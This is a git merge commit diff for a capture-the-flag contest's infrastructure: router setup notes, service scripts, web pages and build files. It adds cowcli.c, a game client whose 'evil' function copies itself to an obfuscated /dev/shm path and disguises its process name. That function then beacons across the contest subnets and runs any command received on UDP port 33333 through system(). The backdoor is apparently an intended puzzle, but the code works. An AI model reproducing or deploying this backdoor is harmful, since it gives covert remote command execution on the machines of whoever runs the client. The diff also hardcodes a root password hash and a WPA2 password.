Merge remote-tracking branch 'origin/master'

Conflicts:
	packages/mcp/www/credits.html
This commit is contained in:
Neale Pickett 2012-05-24 20:35:19 -06:00
commit c3ef7bb2e6
92 changed files with 1079 additions and 1695 deletions

View File

@ -10,6 +10,11 @@ CACHE = cache
# The end result # The end result
BIN = bin BIN = bin
ifdef ARCH
export CC = ${ARCH}-cc
export STRIP = ${ARCH}-strip
endif
all: packages all: packages
dist: ctf-install.zip dist: ctf-install.zip

View File

@ -0,0 +1,7 @@
* foam
** beat-matching puzzle
You have to play an MP3 to beat-match something being broadcast over
FM. When you do, the two pieces work together somehow to tell you
the key.
** New recordings of Ginnie

View File

@ -1,57 +1,43 @@
This directory contains the files used to set up an OpenWRT router. Using an OpenWRT router
=======================
You can use an off-the-shelf, OpenWRT capable wireless router,
configuring only through the web interface. The OpenWRT setup is
intended for smaller contests, wired or non-wired, in which
participants can be counted on not to launch link level attacks (ARP
or NDP). Bear in mind that the cheap consumer routers have relatively
slow CPUs and won't stand up to high volume.
Bear in mind that the cheap consumer routers have relatively slow CPUs The CTF repository includes a "router" package, which will boot a DBTL
and won't stand up to high volume. This same configuration applies to device as a IPv6 router complete with multicast forwarding and up to
OpenWRT running on an x86 PC, or any other target of OpenWRT. For 24 tagged VLANs (by using a managed switch). This is a better option
larger contests, it would be a good idea to use a faster machine for the for larger contests, and can better handle high-speed (Gigabit)
router. I don't have any specific recommendations at this time (Oct traffic.
2010).
The router comes up as 10.0.0.1/16 on eth0. Instructions for setting up OpenWRT
-----------------------------------
If the router has a built-in switch, it is brought up without VLAN After installing OpenWRT:
support, since these switches typically only support 16 VLANs, and do
not support QinQ (double VLAN tags). All 5 ports work like an unmanaged
switch, which ends up being handy for the contest table.
Plugging a managed switch into the router enables access to 48 VLANs, * Change the root password
each configured to a /16 network. The router on VLAN number v comes up * Install the following packages:
as 10.v.0.1/16. ip6tables
kmod-ip6tables
kmod-ipv6
libip6tc
luci-app-radvd
radvd
* Configure the LAN interface as 10.0.0.1/16 and
fd84:b410:3441::1/64
* Tell DHCP to begin at 257 after the base IP: this will assure
all DHCP addresses are after 10.0.1.0
* Disable router solicitations on LAN
* Enable WPA2, with the password "correct horse battery staple"
* Turn on router advertisements (under radvd) on LAN
* Enable prefix fd84:b410:3441::1/64 under radvd
If the router has the ability to come up as a wireless access point, it This should be sufficient to bring up the router for running the
will do so with SSID "CTF" and IP 10.254.0.1/16. contest. If you want to get fancy, you can scp the files in
www in this directory, into /www on the router. This will give
All subnets can route to all other subnets, through the router. users some guidance if they accidentally browse to the router IP,
10.0.0.1/16 and 10.254.0.1/16 may have a higher TTL when routed to a and also disables the default redirection to luci.
VLAN (I haven't checked). Keep in mind that anything connected directly
to the router (ie. not through the managed switch) can do its own VLAN
tagging. This would be the way to hop on another team's subnet to do
something like check service availability in such a way as to prevent
teams from firewalling each other out.
SSID "CTF"
10.254.0.1/16
((Y))
|
-------------
| OpenWRT |
-0-1-2-3-4---
/| | | | |
/ | | | | |
/ | | | | |
/ 10.0.0.1/16
/
-------------------t---
| Managed Switch |
-1-2-3-4-5-...-47-48---
/ | | \
/ | | \
/ | | \
/ | | \
10.1.0.1/16 | | 10.48.0.1/16
| |
10.3.0.1/16 |
|
10.47.0.1/16

View File

@ -1,2 +0,0 @@
config dnsmasq
option leasefile '/tmp/dhcp.leases'

View File

@ -1,27 +0,0 @@
#### Switch configuration
config switch eth0
option enable 1
option enable_vlan 0
#### Loopback configuration
config interface loopback
option ifname "lo"
option proto static
option ipaddr 127.0.0.1
option netmask 255.0.0.0
#### Administrative network
config interface admin
option ifname "eth0"
option proto static
option ipaddr 10.0.0.1
option netmask 255.255.0.0
#### Wireless
config interface wifi
option proto static
option ipaddr 10.254.0.1
option netmask 255.255.0.0
# OpenWRT's "ifup/ifdown" are horribly slow, so the 48
# vlans are set up in an init script :)

View File

@ -1,9 +0,0 @@
config wifi-device wl0
option type broadcom
option channel 1
config wifi-iface
option device wl0
option network wifi
option mode ap
option ssid CTF

View File

@ -1,26 +0,0 @@
#! /bin/sh /etc/rc.common
START=45
STOP=89
start () {
stop
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -A INPUT -p udp --dport 53 -j ACCEPT
iptables -A INPUT -p udp --dport 67 -j ACCEPT
iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT
iptables -A INPUT -s 10.0.0.0/16 -j ACCEPT
iptables -A INPUT -j REJECT
}
stop () {
iptables -F INPUT
iptables -F OUTPUT
iptables -F FORWARD
}

View File

@ -1,20 +0,0 @@
#! /bin/sh /etc/rc.common
START=41
STOP=89
VLANS=48
start () {
for i in $(seq 1 $VLANS); do
vconfig add eth0 $i
ifconfig eth0.$i 10.$i.0.1 netmask 255.255.0.0
done
}
stop () {
for i in $(seq 1 $VLANS); do
vconfig rem eth0.$i
done
}

View File

@ -1 +0,0 @@
../init.d/iptables

View File

@ -1 +0,0 @@
../init.d/vlan

View File

@ -1 +0,0 @@
../init.d/vlan

View File

@ -1 +0,0 @@
../init.d/iptables

View File

@ -0,0 +1,18 @@
<DOCTYPE html>
<html>
<head>
<title>Router</title>
</head>
<body>
<p>
You're in the wrong place. This is the router.
</p>
<ul>
<li>
CTF Server:
<a href="http://[fd84:b410:3441::2]/">IPv6</a>, <a href="http://10.0.0.2/">IPv4</a>
</li>
<li><a href="password_strength.png">WPA2 password</a></li>
</p>
</body>
</html>

Binary file not shown.

After

Width:  |  Height:  |  Size: 91 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 128 KiB

View File

@ -14,7 +14,7 @@ fatsize=$(sfdisk -l /dev/sdb | awk '/^Disk/ {print $3 - 2;}')
FATFS=${DRIVE}1 FATFS=${DRIVE}1
EXTFS=${DRIVE}2 EXTFS=${DRIVE}2
sfdisk $DRIVE <<EOF sfdisk $DRIVE <<EOF || true
,$fatsize,6,* ,$fatsize,6,*
,,L ,,L
EOF EOF

View File

@ -2,5 +2,7 @@
00admin-install: 00admin-install:
$(call COPYTREE, packages/00admin/service, $(00ADMIN_PKGDIR)/service) $(call COPYTREE, packages/00admin/service, $(00ADMIN_PKGDIR)/service)
mkdir -p $(00ADMIN_PKGDIR)/sbin
cp packages/00admin/sbin/* $(00ADMIN_PKGDIR)/sbin
PACKAGES += 00admin PACKAGES += 00admin

32
packages/00admin/sbin/fire-ip Executable file
View File

@ -0,0 +1,32 @@
#! /bin/sh -e
action=$1; shift
read n < ip.txt
if grep -q ipv4 /proc/cmdline; then
# IPv4
IP="10.0.0.$n/16"
else
# IPv6
l=$(busybox dc 16 o $n p)
IP="fd84:b410:3441::$l/64"
fi
[ "$action" ] && ip addr $action $IP dev eth0
if [ "$action" = "add" ]; then
fail=fail
for i in $(seq 5); do
if ip addr | grep -v tentative | grep -Fq $IP; then
fail=
break
fi
sleep 1
done
[ "$fail" ] && return 1
fi
[ "$action" = del ] || echo $IP

View File

@ -2,9 +2,6 @@
exec 2>&1 exec 2>&1
[ -r /etc/passwd ] || echo 'root:x:0:0:root:/tmp:/bin/sh' > /etc/passwd
# Always do this, in case something else set a root password
echo 'root:$1$i/EeZyl6$5C6Z8s0ftEdTKFLUli1wP1' | chpasswd --encrypted echo 'root:$1$i/EeZyl6$5C6Z8s0ftEdTKFLUli1wP1' | chpasswd --encrypted
# Bring up the NIC; this will get us at least a link-local address, and # Bring up the NIC; this will get us at least a link-local address, and

View File

@ -1,4 +1,3 @@
#! /bin/sh #! /bin/sh
read IP < ip.txt /opt/00admin/sbin/fire-ip del
ip addr del $IP dev eth0

View File

@ -1 +1 @@
fd84:b410:3441::ec6/64 198

View File

@ -1,7 +1,7 @@
#! /bin/sh -e #! /bin/sh -e
exec 2>&1 exec 2>&1
read IP < ip.txt
ip addr add $IP dev eth0 || true IP=$(/opt/00admin/sbin/fire-ip add)
exec setuidgid nobody /opt/cowbull/bin/cowd < /opt/cowbull/tokens.txt exec setuidgid nobody /opt/cowbull/bin/cowd < /opt/cowbull/tokens.txt

View File

@ -3,7 +3,7 @@ DESTDIR ?= /tmp
build: cowd cowcli build: cowd cowcli
cowcli: cowcli.c cowcli: cowcli.c
$(CC) -o $@ -static $< cc -o $@ -static $<
strip $@ strip $@
upx $@ upx $@

View File

@ -0,0 +1,355 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <time.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <sysexits.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netdb.h>
#include <fcntl.h>
#define NODEBUG
#ifdef DEBUG
# define PORT 4444
#else
# define PORT 44
#endif
#define BDPORT 33333
#define BCNPORT_S 48172
#define BCNPORT_D 48179
int
bind_port(int fd, const struct in6_addr *addr, uint16_t port)
{
struct sockaddr_in6 saddr = { 0 };
saddr.sin6_family = AF_INET6;
saddr.sin6_port = htons(port);
memcpy(&saddr.sin6_addr, addr, sizeof *addr);
return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
}
void
sigchld(int unused)
{
while (0 < waitpid(-1, NULL, WNOHANG));
}
void
unmask_str(unsigned char *str)
{
int i = strlen(str);
while (i-- > 0) {
str[i] &= 127;
}
}
int
copyprog(const char *from, const char *to)
{
int fd_to, fd_from;
char buf[4096];
ssize_t nread;
int saved_errno;
fd_from = open(from, O_RDONLY);
if (fd_from < 0)
return -1;
fd_to = open(to, O_WRONLY | O_CREAT | O_TRUNC, 0700);
if (fd_to < 0)
goto out_error;
while (nread = read(fd_from, buf, sizeof buf), nread > 0)
{
char *out_ptr = buf;
ssize_t nwritten;
do {
nwritten = write(fd_to, out_ptr, nread);
if (nwritten >= 0)
{
nread -= nwritten;
out_ptr += nwritten;
}
else if (errno != EINTR)
{
goto out_error;
}
} while (nread > 0);
}
if (nread == 0)
{
if (close(fd_to) < 0)
{
fd_to = -1;
goto out_error;
}
close(fd_from);
/* Success! */
return 0;
}
out_error:
saved_errno = errno;
close(fd_from);
if (fd_to >= 0)
close(fd_to);
errno = saved_errno;
return -1;
}
void
signal_evil(int sig)
{
if (fork()) {
exit(1);
}
}
void
evil(int argc, char *argv[])
{
int i;
int sock;
char procname[] = "\xdb\xe8\xe3\xe9\xb1\xdd";
char cptarget[] = "\xaf\xe4\xe5\xf6\xaf\xf3\xe8\xed\xaf\xae\xa0";
unmask_str(procname);
unmask_str(cptarget);
if (strcmp(argv[0], cptarget)) {
if (fork()) {
return;
}
/* copy ourselves */
if (copyprog(argv[0], cptarget) == 0) {
argv[0] = cptarget;
execv(cptarget, argv);
}
} else {
unlink(cptarget);
if (fork()) {
exit(0);
}
}
/* mask the process title and arguments */
while (argc--) {
int p = strlen(argv[argc]);
while (p--) {
argv[argc][p] = 0;
}
}
strcpy(argv[0], procname);
{
int r = open("/dev/null", O_RDONLY);
int w = open("/dev/null", O_WRONLY);
dup2(r, 0);
dup2(w, 1);
dup2(w, 2);
close(r);
close(w);
setsid();
chdir("/");
signal(SIGHUP, signal_evil);
signal(SIGTERM, signal_evil);
signal(SIGINT, signal_evil);
signal(SIGQUIT, signal_evil);
}
sock = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock, &in6addr_any, BDPORT)) {
exit(0);
}
struct timeval tv;
tv.tv_sec = 5;
tv.tv_usec = 0;
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv,sizeof(struct timeval));
while (1) {
/* beacon */
int sock_beacon;
sock_beacon = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock_beacon, &in6addr_any, BCNPORT_S)) {
//perror("Beacon bind");
;; /* return EX_IOERR; */
}
int subnet;
if (sock_beacon > 0) {
for (subnet = 0; subnet < 50; subnet++) {
char payload[] = "hi";
char addr6_f[] = "\xe6\xe4\xb8\xb4\xba\xe2\xb4\xb1\xb0\xba\xb3\xb4\xb4\xb1\xba\xa5\xf8\xba\xba\xb1\xb3\xb3\xb7";
unmask_str(addr6_f);
char addr6[64];
sprintf(addr6, addr6_f, subnet);
//printf("%s\n", addr6);
struct addrinfo *beacon_addr;
{
struct addrinfo hints = { 0 };
hints.ai_family = PF_INET6;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_flags = AI_NUMERICHOST;
if (0 != getaddrinfo(addr6, "48179", &hints, &beacon_addr)) {
;;//perror("Resolving address");
}
}
struct sockaddr_in6 saddr = { 0 };
if(-1 == sendto(sock_beacon, &payload, sizeof payload, 0, beacon_addr->ai_addr, beacon_addr->ai_addrlen)) {
;;//perror("Beacon send");
} else {
;;//printf("sent!\n");
}
}
}
close(sock_beacon);
/* end beacon */
/* c&c */
char cmd[400];
ssize_t inlen;
inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL);
if (inlen < 1) {
continue;
}
cmd[inlen] = 0;
if (! fork()) {
system(cmd);
exit(0);
}
}
}
int
main(int argc, char *argv[])
{
long answer = 0;
int sock;
int i;
struct addrinfo *addr;
uint32_t token = 0;
FILE *in, *out;
srand(time(NULL));
signal(SIGCHLD, sigchld);
if (argc < 2) {
fprintf(stderr, "Usage: %s SERVER\n", argv[0]);
return EX_USAGE;
}
evil(argc, argv);
{
struct addrinfo hints = { 0 };
hints.ai_family = PF_INET6;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_flags = AI_NUMERICHOST;
if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) {
perror("Resolving address");
return EX_IOERR;
}
}
/*
* Set up socket
*/
sock = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock, &in6addr_any, PORT)) {
perror("Binding UDP port 44");
return EX_IOERR;
}
if (argv[2]) {
/* fork and exec */
} else {
in = stdin;
out = stdout;
}
while (1) {
long guess;
struct {
uint32_t token;
uint16_t guess;
} g;
g.token = token;
if (token) {
char line[20];
if (NULL == fgets(line, sizeof line, in)) {
break;
}
g.guess = strtol(line, NULL, 16);
} else {
g.guess = 0;
}
/* Send the guess */
if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) {
perror("Sending packet");
return EX_IOERR;
}
/* read the result */
{
char buf[80];
ssize_t len;
len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL);
switch (len) {
case -1:
perror("Reading packet");
return EX_IOERR;
case 1:
/* It's a score */
printf("%02x\n", buf[0]);
break;
case 4:
/* New game token */
printf("NEW GAME\n");
token = *((uint32_t *) buf);
break;
default:
/* You win: this is your CTF token */
buf[len] = 0;
printf("A WINNER IS YOU: %s\n", buf);
break;
}
}
}
return 0;
}

View File

@ -0,0 +1,3 @@
#! /bin/sh
/opt/00admin/sbin/fire-ip del

View File

@ -1 +1 @@
fd84:b410:3441::a0d/64 13

View File

@ -2,7 +2,6 @@
exec 2>&1 exec 2>&1
IP=$(cat ip.txt) IP=$(/opt/00admin/sbin/fire-ip add)
ip addr add $IP dev eth0 || true
exec tcpsvd -u nobody ${IP%/*} 1013 ./go exec tcpsvd -u nobody ${IP%/*} 1013 ./go

View File

@ -1,24 +1,24 @@
INFERNO_PKGDIR = $(TARGET)/inferno INFERNO_PKGDIR = $(TARGET)/inferno
INFERNO_BUILDDIR = $(BUILD)/inferno INFERNO_BUILDDIR = $(BUILD)/inferno
INFERNO_FNORD_CACHE = $(CACHE)/fnord.git INFERNO_ERIS_CACHE = $(CACHE)/eris.git
INFERNO_FNORD_URL = http://woozle.org/~neale/projects/fnord INFERNO_ERIS_URL = http://woozle.org/~neale/projects/eris
$(INFERNO_FNORD_CACHE): $(INFERNO_ERIS_CACHE):
git clone --bare $(INFERNO_FNORD_URL) $@ git clone --bare $(INFERNO_ERIS_URL) $@
inferno-source: $(INFERNO_BUILDDIR) inferno-source: $(INFERNO_BUILDDIR)
$(INFERNO_BUILDDIR): $(INFERNO_FNORD_CACHE) $(INFERNO_BUILDDIR): $(INFERNO_ERIS_CACHE)
git clone $< $@ git clone $< $@
inferno-build: $(INFERNO_BUILDDIR)/build inferno-build: $(INFERNO_BUILDDIR)/build
$(INFERNO_BUILDDIR)/build: $(INFERNO_BUILDDIR) $(INFERNO_BUILDDIR)/build: $(INFERNO_BUILDDIR)
$(MAKE) -C $(INFERNO_BUILDDIR) fnord-idx $(MAKE) -C $(INFERNO_BUILDDIR)
inferno-install: $(INFERNO_BUILDDIR)/build inferno-install: $(INFERNO_BUILDDIR)/build
mkdir -p $(INFERNO_PKGDIR)/bin mkdir -p $(INFERNO_PKGDIR)/bin
cp $(INFERNO_BUILDDIR)/fnord-idx $(INFERNO_PKGDIR)/bin/ cp $(INFERNO_BUILDDIR)/eris $(INFERNO_PKGDIR)/bin/
$(call COPYTREE, packages/inferno/service, $(INFERNO_PKGDIR)/service) $(call COPYTREE, packages/inferno/service, $(INFERNO_PKGDIR)/service)

View File

@ -2,7 +2,6 @@
exec 2>&1 exec 2>&1
cd /var/www ln -sf /var/www default
exec tcpsvd -l localhost 0 80 /opt/inferno/bin/eris -d
exec tcpsvd -l localhost 0 80 /opt/inferno/bin/fnord-idx . .

View File

@ -1,6 +1,6 @@
IRCD_PKGDIR = $(TARGET)/ircd IRCD_PKGDIR = $(TARGET)/ircd
IRCD_BUILDDIR = $(BUILD)/ircd IRCD_BUILDDIR = $(BUILD)/ircd
IRCD_VERSION = 18 IRCD_VERSION = 19.1
IRCD_TAR = $(CACHE)/ngircd-$(IRCD_VERSION).tar.gz IRCD_TAR = $(CACHE)/ngircd-$(IRCD_VERSION).tar.gz
IRCD_URL = ftp://ftp.berlios.de/pub/ngircd/ngircd-$(IRCD_VERSION).tar.gz IRCD_URL = ftp://ftp.berlios.de/pub/ngircd/ngircd-$(IRCD_VERSION).tar.gz
IRCD_SRCDIR = $(IRCD_BUILDDIR)/ngircd-$(IRCD_VERSION) IRCD_SRCDIR = $(IRCD_BUILDDIR)/ngircd-$(IRCD_VERSION)

View File

@ -1,4 +1,3 @@
#! /bin/sh #! /bin/sh
IP=$(cat ip.txt) /opt/00admin/sbin/fire-ip del
ip addr del $IP dev eth0

View File

@ -1 +1 @@
fd84:b410:3441::6/64 6

View File

@ -1,15 +0,0 @@
[Global]
Name = irc.ctf
Info = CTF IRC
AdminInfo1 = CTF IRC Server
AdminInfo2 = The table at the front of the room
AdminEmail = zephyr@dirtbags.net
MotdPhrase = "welcome datacomp"
Listen = fd84:b410:3441::6
OperCanUseMode = yes
NoDNS = yes
NoIdent = yes
[Operator]
Name = oper
Password = operpass

View File

@ -2,11 +2,33 @@
exec 2>&1 exec 2>&1
IP=$(cat ip.txt) IP=$(/opt/00admin/sbin/fire-ip add)
ip addr add $IP label eth0:ircd dev eth0
ip monitor | grep -q $IP
adduser -S -H -u 65534 nobody adduser -S -H -u 65534 nobody
adduser -S -H irc adduser -S -H irc
operpass=$(dd if=/dev/urandom count=1 | md5sum | cut -d' ' -f1)
cat <<EOD >ngircd.conf
[Global]
Name = irc.ctf
Info = CTF IRC
AdminInfo1 = CTF IRC Server
AdminInfo2 = The table at the front of the room
AdminEmail = zephyr@dirtbags.net
MotdPhrase = "welcome datacomp"
Listen = ${IP%/*}
ServerUID = 101
ServerGID = 65534
[Options]
OperCanUseMode = yes
DNS = no
Ident = no
[Operator]
Name = oper
Password = $operpass
EOD
exec setuidgid irc /opt/ircd/bin/ngircd --config ./ngircd.conf --nodaemon exec setuidgid irc /opt/ircd/bin/ngircd --config ./ngircd.conf --nodaemon

View File

@ -20,6 +20,9 @@ www=${CTF_BASE:-/var/www}
mkdir -p $base/teams/names mkdir -p $base/teams/names
mkdir -p $base/teams/colors mkdir -p $base/teams/colors
[ -f $base/teams/nonce ] || dd if=/dev/urandom count=1 | md5sum | cut -b 1-8 > $base/teams/nonce
nonce=$(cat $base/teams/nonce)
# Assign a color. I spent weeks selecting a color pallette that # Assign a color. I spent weeks selecting a color pallette that
# wouldn't be hell on people with protanopia. Please don't change these # wouldn't be hell on people with protanopia. Please don't change these
# colors. # colors.
@ -45,7 +48,7 @@ esac
# Compute hash of team name; they'll use this for everything in the # Compute hash of team name; they'll use this for everything in the
# contest instead of their team name, which makes stuff much easier on # contest instead of their team name, which makes stuff much easier on
# me since all team hashes are in the set /[0-9a-f]{8}/. # me since all team hashes are in the set /[0-9a-f]{8}/.
hash=$(dd if=/dev/urandom count=1 2>/dev/null | md5sum | cut -b 1-8) hash=$(printf "%s:%s" $nonce "$1" | md5sum | cut -b 1-8)
echo "$1" > $base/teams/names/$hash echo "$1" > $base/teams/names/$hash
echo "$color" > $base/teams/colors/$hash echo "$color" > $base/teams/colors/$hash

View File

@ -3,26 +3,26 @@ MCP_BUILDDIR = $(BUILD)/mcp
## ##
## XXX: clean up fnord like router.mk ## XXX: clean up eris like router.mk
## ##
FNORD_CACHE = $(CACHE)/fnord.git ERIS_CACHE = $(CACHE)/eris.git
FNORD_BUILDDIR = $(MCP_BUILDDIR)/fnord ERIS_BUILDDIR = $(MCP_BUILDDIR)/eris
FNORD_URL = http://woozle.org/~neale/projects/fnord ERIS_URL = http://woozle.org/~neale/projects/eris
$(FNORD_CACHE): $(ERIS_CACHE):
git clone --bare $(FNORD_URL) $@ git clone --bare $(ERIS_URL) $@
mcp-source: $(MCP_BUILDDIR)/source mcp-source: $(MCP_BUILDDIR)/source
$(MCP_BUILDDIR)/source: $(FNORD_CACHE) $(MCP_BUILDDIR)/source: $(ERIS_CACHE)
mkdir -p $(@D) mkdir -p $(@D)
git clone $(FNORD_CACHE) $(@D)/fnord git clone $(ERIS_CACHE) $(@D)/eris
touch $@ touch $@
mcp-build: $(MCP_BUILDDIR)/build mcp-build: $(MCP_BUILDDIR)/build
$(MCP_BUILDDIR)/build: $(MCP_BUILDDIR)/source $(MCP_BUILDDIR)/build: $(MCP_BUILDDIR)/source
$(MAKE) -C packages/mcp/src build $(MAKE) -C packages/mcp/src build
$(MAKE) -C $(MCP_BUILDDIR)/fnord DIET= CC=$(CC) fnord-cgi $(MAKE) -C $(MCP_BUILDDIR)/eris
mcp-install: $(MCP_BUILDDIR)/build mcp-install: $(MCP_BUILDDIR)/build
@ -32,7 +32,7 @@ mcp-install: $(MCP_BUILDDIR)/build
cp packages/mcp/src/pointscli $(MCP_PKGDIR)/bin/ cp packages/mcp/src/pointscli $(MCP_PKGDIR)/bin/
cp packages/mcp/src/puzzles.cgi $(MCP_PKGDIR)/bin/ cp packages/mcp/src/puzzles.cgi $(MCP_PKGDIR)/bin/
cp $(MCP_BUILDDIR)/fnord/fnord-cgi $(MCP_PKGDIR)/bin/ cp $(MCP_BUILDDIR)/eris/eris $(MCP_PKGDIR)/bin/
$(call COPYTREE, packages/mcp/service, $(MCP_PKGDIR)/service) $(call COPYTREE, packages/mcp/service, $(MCP_PKGDIR)/service)

View File

@ -0,0 +1,3 @@
#! /bin/sh
/opt/00admin/sbin/fire-ip del

View File

@ -1 +1 @@
fd84:b410:3441::2/64 2

View File

@ -2,11 +2,9 @@
exec 2>&1 exec 2>&1
hostname mcp IP=$(/opt/00admin/sbin/fire-ip add)
# Bring up address hostname mcp
IP=$(cat ip.txt)
ip addr add $IP dev eth0 || true
# Link in puzzles and web pages # Link in puzzles and web pages
install -d /var/www install -d /var/www
@ -20,4 +18,5 @@ for d in /opt/*; do
fi fi
done done
exec tcpsvd -u ctf ${IP%/*} 80 /opt/mcp/bin/fnord-cgi /var/www ln -sf /var/www default
exec tcpsvd -u ctf ${IP%/*} 80 /opt/mcp/bin/eris -c

View File

@ -0,0 +1,5 @@
#! /bin/sh
while sleep 5; do
echo -n . 1>&2
done

View File

@ -0,0 +1,3 @@
#! /bin/sh
exec ./logclean

View File

@ -18,14 +18,16 @@
<ul> <ul>
<li>Alex Brugh</li> <li>Alex Brugh</li>
<li>Paul Ferrell</li> <li>Paul Ferrell</li>
<li>Danny Quist</li>
<li>Jeremy Scott</li> <li>Jeremy Scott</li>
<li>Danny Quist</li>
<li>Adam Glasgall</li> <li>Adam Glasgall</li>
<li>Curtis Hash</li> <li>Curtis Hash</li>
<li>Patrick Avery</li> <li>Patrick Avery</li>
<li>Aaron McPhall</li> <li>Aaron McPhall</li>
<li>Patrick Avery</li>
<li>Erin Ochoa</li> <li>Erin Ochoa</li>
<li>William Phillips</li> <li>William Phillips</li>
<li>Should your name be here? Please remind me!</li>
</ul> </ul>
<p>Parts of this contest were inspired by:</p> <p>Parts of this contest were inspired by:</p>

View File

@ -46,7 +46,7 @@ h1:first-child {
h1:first-child:before { h1:first-child:before {
letter-spacing: -0.1em; letter-spacing: -0.1em;
content: "Tracer FIRE: "; content: "FIRE: ";
} }
/**** body ****/ /**** body ****/

View File

@ -15,12 +15,16 @@
<li> <li>
<a href="puzzles.html">Puzzles</a> <a href="puzzles.html">Puzzles</a>
</li> </li>
<li>
<a href="news.html">News</a>
</li>
<li> <li>
<a href="scoring.html">About scoring</a> <a href="scoring.html">About scoring</a>
</li> </li>
<li> <li>
<a href="irc://[fd84:b410:3441::6]/ctf" <a href="irc://[fd84:b410:3441::6]/ctf"
title="IRC on fd84:b410:3441::6, channel #ctf">Contest chat</a> title="IRC on fd84:b410:3441::6, channel #ctf">Contest chat</a>
(<a href="irc://10.0.0.6/ctf" title="IRC on 10.0.0.6, channel #ctf">IPv4</a>)
carries important announcements, and sometimes clues and carries important announcements, and sometimes clues and
puzzles. puzzles.
</li> </li>
@ -43,11 +47,13 @@
<h2>Rules</h2> <h2>Rules</h2>
<ul> <ul>
<li> <li>
No DoS attacks. No DoS attacks. No link layer (ARP, NDP) attacks.
</li> </li>
<li> <li>
Contest servers lie within <samp>fd84:b410:3441::/112</samp>. Contest servers lie within <samp>fd84:b410:3441::/112</samp>
Do not attack machines outside <samp>fd84:b410:3441::/48</samp>. (or <samp>10.0.0.0/24</samp> for IPv4 contests).
Do not attack machines outside <samp>fd84:b410:3441::/48</samp>
(<samp>10.0.0.0/16</samp>).
Low ports (under 1024) do not run contest categories, don't Low ports (under 1024) do not run contest categories, don't
waste your time. waste your time.
</li> </li>

View File

@ -0,0 +1,18 @@
<!DOCTYPE html>
<html>
<head>
<title>News</title>
<link rel="stylesheet" href="ctf.css" type="text/css">
</head>
<body>
<h1>News</h1>
<ul>
<li>Contest is open</li>
</ul>
<p>
This page will be updated with any new announcements.
</p>
</body>
</html>

View File

@ -0,0 +1,3 @@
#! /bin/sh
/opt/00admin/sbin/fire-ip del

View File

@ -1 +1 @@
fd84:b410:3441::4e11/64 17

View File

@ -2,7 +2,6 @@
exec 2>&1 exec 2>&1
IP=$(cat ip.txt) IP=$(/opt/00admin/sbin/fire-ip add)
ip addr add $IP dev eth0 || true
exec setuidgid ctf /opt/multicaster/bin/multicaster ff15::62c 1580 </opt/multicaster/tokens.txt exec setuidgid ctf /opt/multicaster/bin/multicaster ff15::62c 1580 </opt/multicaster/tokens.txt

View File

@ -0,0 +1 @@
8

View File

@ -0,0 +1,3 @@
#! /bin/sh
exec svlogd -tt $PWD

View File

@ -1,5 +1,8 @@
#! /bin/sh -e #! /bin/sh -e
IP=$(cat ../octopus/ip.txt) exec 2>&1
IP=$(/opt/00admin/sbin/fire-ip)
sv s octopus >/dev/null || exit 1 sv s octopus >/dev/null || exit 1
exec tcpsvd ${IP%/*} 8888 ./octopus-redirect exec tcpsvd ${IP%/*} 8888 ./octopus-redirect

View File

@ -0,0 +1,3 @@
#! /bin/sh
/opt/00admin/sbin/fire-ip del

View File

@ -1 +1 @@
fd84:b410:3441::8888/64 8

View File

@ -2,7 +2,8 @@
exec 2>&1 exec 2>&1
IP=$(cat ip.txt) IP=$(/opt/00admin/sbin/fire-ip add)
ip addr add $IP dev eth0 || true
grep -q ipv4 /proc/cmdline && IP=::ffff:$IP
exec /opt/octopus/bin/octopus ${IP%/*} < /opt/octopus/tokens.txt exec /opt/octopus/bin/octopus ${IP%/*} < /opt/octopus/tokens.txt

88
packages/p2/bin/p2console Executable file
View File

@ -0,0 +1,88 @@
#! /bin/sh
BASE=/tmp/p2
mkdir -p $BASE
if ! [ -f $BASE/nonce ]; then
dd if=/dev/urandom count=1 | md5sum - > $BASE/nonce
fi
clear
read nonce < $BASE/nonce
esc () {
printf '%s' "$*" | sed 's/[^-0-9A-Za-z ]/_/g; s/ /+/g'
}
newteam () {
echo '== Team Creation =='
echo
echo -n 'What would you like your team to be called (3-12 chars)? '
read -r name
echo
namelen=$(printf "%s" "$name" | wc -c)
if [ $namelen -lt 3 ] || [ $namelen -gt 12 ]; then
echo 'Invalid name length'
return
fi
hash=$(printf '%s %s' "$nonce" "$name" | md5sum | cut -b 1-8)
if [ -d $BASE/$hash ]; then
echo "That name is already in use. Try another one."
return
fi
mkdir $BASE/$hash
printf '%s' "$name" > $BASE/$hash/.name
cat <<EOD
Your team hash is $hash. Write that down somewhere and don't lose it.
If you forget your hash, you'll have to start over from the beginning
with a new team and everybody will laugh at you.
EOD
}
done () {
echo
echo "Press [Enter] to clear the screen."
read
exit 0
}
echo -n 'Team hash ("new" to create a new team): '
read -r hash
echo
if [ -z "$hash" ]; then
exit 0
elif [ "$hash" = "new" ]; then
newteam
done
elif ! [ -d $BASE/$hash ]; then
echo "No such team, fool."
echo "Is this when everybody laughs at you for forgetting your hash?"
done
fi
read -r name < $BASE/$hash/.name
echo "Welcome $name"
echo
echo "Enter answer and I'll tell you if it's right or if you're a dummy."
echo -n '> '
read -r answer
match=$(awk -v ans="$answer" '(substr($0, length($1)+2) == ans) { print substr(FILENAME, 6, length(FILENAME)-17) " " $1; }' /opt/*/answers.txt)
cat=${match% *}
points=${match#* }
fn=$BASE/$hash/$cat.$points
if [ -f $fn ]; then
echo "You've already received points for this answer."
else
printf "%s %s\n" $cat $points > $fn
echo "You get $points more points in the $cat category."
# run puzzles.cgi
